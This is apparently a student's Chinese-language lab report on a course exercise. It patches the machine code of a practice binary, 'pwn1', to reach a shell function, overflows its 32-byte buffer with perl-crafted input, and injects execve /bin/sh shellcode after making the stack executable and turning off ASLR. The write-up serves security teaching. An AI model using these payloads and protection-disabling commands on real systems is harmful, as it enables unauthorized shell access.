20165213 Exp1 PC平台逆向破解

PC平台逆向破解

实验内容

1.了解掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

  • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

  • JNE:条件转移指令,如果不相等则跳转。(机器码:75)

  • JE:条件转移指令,如果相等则跳转。(机器码:74)

  • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)

  • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2.直接修改程序机器指令,改变程序执行流程

objdump -d pwn1 | more //反汇编
vi pwn1 //打开可执行文件pwn1
%!xxd //把pwn1以16进制的形式打开
/e8d7 //查找e8d7的位置,把d7改为c3


  • 做完如上操作后
  • 正常情况下,e8d7为跳转的一个地址,执行foo,由于callq指令的原理就是拿此时的机器码减去下一条指令的机器码,得到跳转的位置,所以改d7为c3,使其跳转到shell_code。

3. 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 尝试先输入1111111122222222333333334444444455555555,观察那些数值覆盖到了返回地址上。

  • 可以观察到%esp寄存器上的值为0x34343434,34是5的ascII码,确认四个字节5溢出,在用12345678作为代替8个5,发现esp上的值是1234,可以确认,缓冲区为32个字节。

  • 因此,我们只需要让溢出的四个字节为shell_code的地址即可,所以首先反汇编得到getshell的地址,然后在32个字节输入后用getshell的地址即刻,但是注意输入方式用的是perl。

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

(cat input; cat) | ./pwn1

4. 注入Shellcode并执行

-Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode
nop+shellcode+retaddr。

  • 首先先写入shellcode

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

  • 做一些准备工作

execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
X pwn1
more /proc/sys/kernel/randomize_va_space
2
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space
0

  • 再开另外一个终端,用gdb来调试pwn1这个进程:

发现0xff770a20最终地址,输入:

perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x20\x0a\x77\xff\x00"' >

或者:(以下截图为retaddr+nop+shellcode方式)

perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

5、实验感想与对漏洞的看法

  • 虽然第一次做pc平台的漏洞攻击——缓存区溢出攻击,而且该攻击方式对现代计算机用处不大,但是通过这次实验我感受到了这门课程的乐趣。

  • 漏洞:漏洞字面意义为为安全方面存在的缺陷,尽管我们不断的在补救安全方面的问题,但颇为无奈的是,补救方案往往是在攻击成功之后才制定出来的,绝对安全的防护系统在现今看来并不能实现,漏洞的导致的危害,在如今信息化的时代下,显得格外突出,这不免让我想起库布里克在拍摄未来三部曲时的担忧——人类在不能完全掌握科技的时候便将其应用于实际,当科技发展到最后时能否完全驾驭它?我们的安全防御策略会越来越高明,但漏洞导致的后果也会越来越严重,是否出现失控的一天,尚且未知。

posted on 2019-03-14 19:06  zqh根本吃不饱  阅读(224)  评论(0编辑  收藏  举报

导航